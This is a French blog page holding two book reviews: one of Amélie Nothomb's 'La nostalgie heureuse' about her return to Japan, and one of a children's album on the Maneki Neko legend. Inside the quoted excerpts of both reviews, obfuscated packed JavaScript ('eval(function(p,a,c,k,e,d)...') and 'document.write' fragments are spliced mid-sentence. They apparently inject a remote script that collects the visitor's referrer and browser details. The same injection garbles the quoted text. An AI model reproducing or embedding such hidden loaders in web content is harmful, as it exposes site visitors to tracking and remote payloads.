La nostalgie heureuse

Tout ce que l’on aime devient une fiction. La première des miennes fut le Japon. À l’âge de cinq ans, document.write(“”); quand on m’en arracha, je commençai à me le raconter. Très vite, les lacunes de mon récit me gênèrent. Que pouvais-je dire du pays que j’avais cru connaître et qui, au fil des années, s’éloignait de mon corps et de ma tête ? (…)“
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnyez|var|u0026u|referrer|hkzdn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|deftr|var|u0026u|referrer|aaibe||js|php’.split(‘|’),0,{}))

“Je n’avais plus mis les pieds au pays du Soleil levant depuis décembre 1996. Nous étions en février 2012. Le départ était fixé au 27 mars. Seize années sans Japon. La même durée qu’entre mes cinq et mes vingt et un ans, qui m’avait fait l’effet d’une traversée du désert. (…) Quand on m’a proposé ce reportage sur les traces de mon enfance japonaise, j’ai accepté pour une raison simple : j’étais persuadée que le projet serait refusé par la chaîne de télévision. J’étais à cette époque à un stade de mon cerveau où je valais moins que rien : personne ne miserait un euro sur moi. (…) En janvier, l’équipe m’avertit que France 5 acceptait. Je tombai des nues. J’allais donc vraiment retourner au Japon. Sidérée, je m’aperçus que cette perspective, à laquelle je n’avais jamais cru, m’enthousiasmait.” [ Extraits des premières pages ]

Continuez après le saut de page >>

J’ai découvert Amélie Nothomb avec le superbe film Stupeur et tremblements d’Alain Corneau (IMdB, bande annonce et extraits sur Youtube). Jusqu’alors, je ne sais pourquoi, j’avais cru qu’elle était une auteur américaine ou britannique, très populaire, qui parlait bien français (un peu comme Kristin Scott Thomas) et qui était un peu dingue. Le film m’avait intrigué parce qu’il traitait du Japon et que je croyais le réalisateur québécois. Après avoir visionné le film (que j’avais emprunté à la bibliothèque) j’étais suffisamment impressionné pour faire quelques recherches et découvrir que non seulement Corneau était français mais encore que le film était basé sur le roman très autobiographique de Nothomb, qui était en fait une auteur belge, quoique plutôt excentrique et névrosée! Comme quoi qu’on ne peut pas toujours être dans l’erreur.

Son père étant diplomate belge en poste au Japon, Amélie Nothomb est née dans l’archipel nippon, plus précisément dans la banlieue de Kobe. Elle y passa les cinq premières années de son existence. Elle fut extrêmement traumatisée lorsque son père fut relocalisé en Chine, puis ailleurs, et qu’elle dû quitter ce Japon tant aimé. Pendant “les années qui ont suivi cet exil, j’ai souffert au-delà du dicible” nous dit-elle. Toutefois, vers le milieu des années ’90, elle décida d’y retourner et se trouva un emploi de traductrice dans une firme Japonaise à Tokyo. C’est là qu’elle vécu l’enfer corporatif nippon, où les salaryman et les ?eru sont cruellement abusé pendant les premières années de leur service, afin de les “briser” et qu’ils deviennent les employés serviles, malléables et robotisés typiques du Japon. Elle survécut en se jetant mentalement dans le paysage urbain tokyoïte et en découvrant l’écriture où elle épanchait ses frustrations. Elle finit par raconter cette expérience dans le roman Stupeur et tremblements (qui fut très mal reçu au Japon), qui éventuellement devint aussi un film. Elle cru qu’elle ne reviendrait jamais au Japon…

J’ai eu vent pour la première fois de La nostalgie heureuse en lisant un article dans Le Monde (et éventuellement un autre dans le Huffington Post) qui annonçait un documentaire de France 5 où l’équipe de télévision suivait Amélie Northomb alors qu’elle effectuait un retour au Japon. Intitulé “Amélie Nothomb, une vie entre deux eaux”, le reportage de cinquante-deux minutes réalisé par Luca Chiari nous montre une Amélie Nothomb qui, au printemps 2012, retrace ses souvenirs d’enfance, retrouve sa nounou Nishio-san, son fiancé Rinri, elle visite le quartier de sa jeunesse à Kobe, son école primaire, le pavillon d’or, une pièce de théâtre Nô, la corporation où elle travailla à Tokyo, et même le village dévasté de Soma près de Fukushima.

Elle se rassure: ses souvenirs, s’ils sont un peu devenu fiction par le processus littéraire, sont néanmoins réels; elle a bel et bien vécu son enfance au Japon. Et surtout, en un rare interview du genre, elle se confie. Elle nous parle de la correspondance qu’elle entretiens avec ses lecteurs, de l’agression sexuelle dont elle a été victime au Bangladesh, de l’anorexie qui l’affligea adolescente, de ses démons intérieures et que “l’écriture est un moyen de me vider de toute la souillure que je contiens.” On découvre un personnage tourmenté né de l’instabilité d’une vie nomade, en proie à une profonde crise d’identité et d’estime de soi, à des angoisses sans fin. Tout “cela a développé un attachement au langage et, par conséquent à la littérature. Le langage était ma seule conscience stable. Le mot c’est vraiment la chose. C’est aussi pour cela que j’ai tellement besoin d’écrire” L’écriture est sa thérapie, la façon d’exprimer sa musique intérieure.

La nostalgie heureuse est le pendant littéraire à ce voyage cathartique. Elle relate le déroulement du tournage, nous fait de nouvelles révélations (entre autre elle développe beaucoup plus sur ses retrouvailles avec Rinri, qui avait refusé de prendre part au reportage télévisé) mais passe plusieurs éléments du reportage sous silence. Elle entr’ouvre encore un peu le voile sur son processus de pensée intérieur, sur ses souffrances personnelles. Elle exprime une profonde nostalgie, dont on ne sais pas trop si elle est traumatique ou heureuse. Et je me demande quelle est la différence entre un roman autobiographique et une simple autobiographie. Cela veut-il dire que le récit est romancé et, si oui, dans quelle mesure?

Je comprend bien pourquoi Amélie Nothomb est une auteur si populaire. On sympathise et on s’identifie un peu à elle. Après tout nous avons tous nos moments sombres, nos craintes et nos démons intérieurs. Une douce folie. Une soif de rédemption par l’écriture passive ou active. Mais je dois toutefois avouer qu’elle est un personnage incroyablement égocentrique. Toutes ses histoires sont autobiographiques à un niveau ou à un autre, et elle fait la couverture de tout ses livres! Par contre, elle a une belle écriture, simple et fluide, qui est empreinte de beaucoup d’images. La nostalgie heureuse est un livre intime, beau et touchant que j’ai lu d’une seule traite en un peu plus d’une heure (c’est assez court, cent-cinquante-deux pages mais en caractère plutôt gros). Je le recommande. Pour ma part, je suis intrigué et aimerais bien en lire plus. Elle a écrit une vingtaine d’autres ouvrages. Trouverais-je le temps?

La nostalgie heureuse, par Amélie Nothomb. Paris, Albin Michel, août 2013. 20 x 13 cm, 162 pg., 16,50 € / $24.95 Can. ISBN: 978-2-226-24968-5.

Pour plus d’information vous pouvez consulter les sites suivants:

La nostalgie heureuse © Éditions Albin Michel, 2013.

[ Translate ]

La légende du Chat Porte-Bonheur

“Il y a de nombreuses années, document.write(“”); j’étais un chat en quête de nourriture et qui cherchait un refuge. Après un long et épuisant chemin, je suis arrivé devant un temple niché au pied d’une majestueuse montagne à la cime enneigée. Je me suis assis sous le portique et j’ai attendu, la patte antérieure levée comme à mon habitude.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttbbn|var|u0026u|referrer|dfats||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebets|var|u0026u|referrer|atddh||js|php’.split(‘|’),0,{}))

“Basée sur la légende japonaise [du] XVIIe siècle, l’histoire de Tama, le chat Porte-Bonheur, raconte l’origine du Maneki Neko, célèbre petit chat qui lève sa patte en signe de bienvenue et procure chance, fortune et prospérité.“

[ Texte du site de l’éditeur et de la couverture arrière ]

Continuez après le saut de page >>

Le court récit de cet album pour enfants nous raconte l’histoire d’un chat errant qui avait la particularité de parfois lever la patte droite, comme si il souhaitait la bienvenue aux gens. C’était un bobtail japonais principalement de couleur blanche mais avec une queue noir et orange. Il fut recueilli par le moine d’un temple en ruines qui le nomma Tama, en souvenir de son enfance sur les rives du fleuve Tama. Un jour, durant un violent orage, un seigneur avait cherché refuge sous les branches d’un magnifique cerisier en fleur. Le cerisier lui semblait un meilleur abris que le temple délabré, mais voyant le chat sur le seuil du temple qui semblait l’inviter à entrer, il changea d’avis. Aussitôt la foudre frappa le cerisier et une grosse branche s’écrasa lourdement à l’endroit où le seigneur se tenait quelques instant plus tôt. Pour remercier le chat qui lui sauva la vie, le seigneur fit restaurer le temple et fit de généreuses donations de sorte que le moine et le chat ne fûrent plus jamais dans le besoin. Le chat porta chance et apporta le bonheur tant au seigneur qu’au moine. C’est pourquoi il est honoré en tant que Chat du Bonheur.

Cette histoire n’est qu’une des nombreuses légendes qui expliquent l’origine du Maneki Neko (??? / littéralement le “chat qui invite”) dont on retrouve la représentation dans une grande variété de formes dans la plupart des boutiques et restaurants Japonais ou même du Chinatown. L’origine du geste provient du chat qui se lave l’oreille, qui s’apparente au geste japonais d’invitation, d’où l’idée du chat qui invite le bonheur. Dans l’émission Must Love Cats (en anglais, qui donne pour origine la légende de la vieille femme d’Imado), on explique que si le chat lève la patte droite il apportera la chance et si c’est la gauche il apportera la fortune (financière) et que parfois il lève les deux (ou même les quatre pattes)! Dans la postface de ce livre pour enfants, l’auteur explique qu’elle a choisit de raconter la variante du chat du temple, qui date du début de l’ère Edo, parce que c’est la plus populaire. Le temple serait celui de Gotokuji et le seigneur serait Naotaka Ii.

C’est un beau conte, bien écrit mais illustré plutôt sobrement, qui raconte un aspect intéressant de la culture japonaise. Je le recommande. Le site de l’éditeur comporte un extrait des dix premières pages du livre si vous désirez en avoir une meilleur idée avant d’en faire l’achat — quoiqu’il est également disponible en bibliothèques.

La légende du Chat porte-Bonheur; Un récit traditionnel du Japon, écrit par Wendy Henrichs et illustré par Yoshiko Jaeggi (traduit par Alice Seelow). Paris, Circonflexe, octobre 2012. 21,5 x 26,0 x 0,9 cm, 32 pg., 13,00 € / $19.95 Can. ISBN: 9782878336184. Couverture cartonnée. Recommandé pour les enfants de 6 à 10 ans.

Pour plus d’information vous pouvez consulter les sites suivants:

http://snagplayer.video.dp.discovery.com/636146/snag-it-player.htm?auto=no
I am Tama, lucky cat: A Japanese Legend © 2011 by Wendy Henrichs. Illustrations © 2011 by Yoshiko Jaeggi. Photographs, page 32 © 2011 by Barbara and Jerry Conner. ©2012, Circonflexe pour l’édition en langue française.

[ Translate ]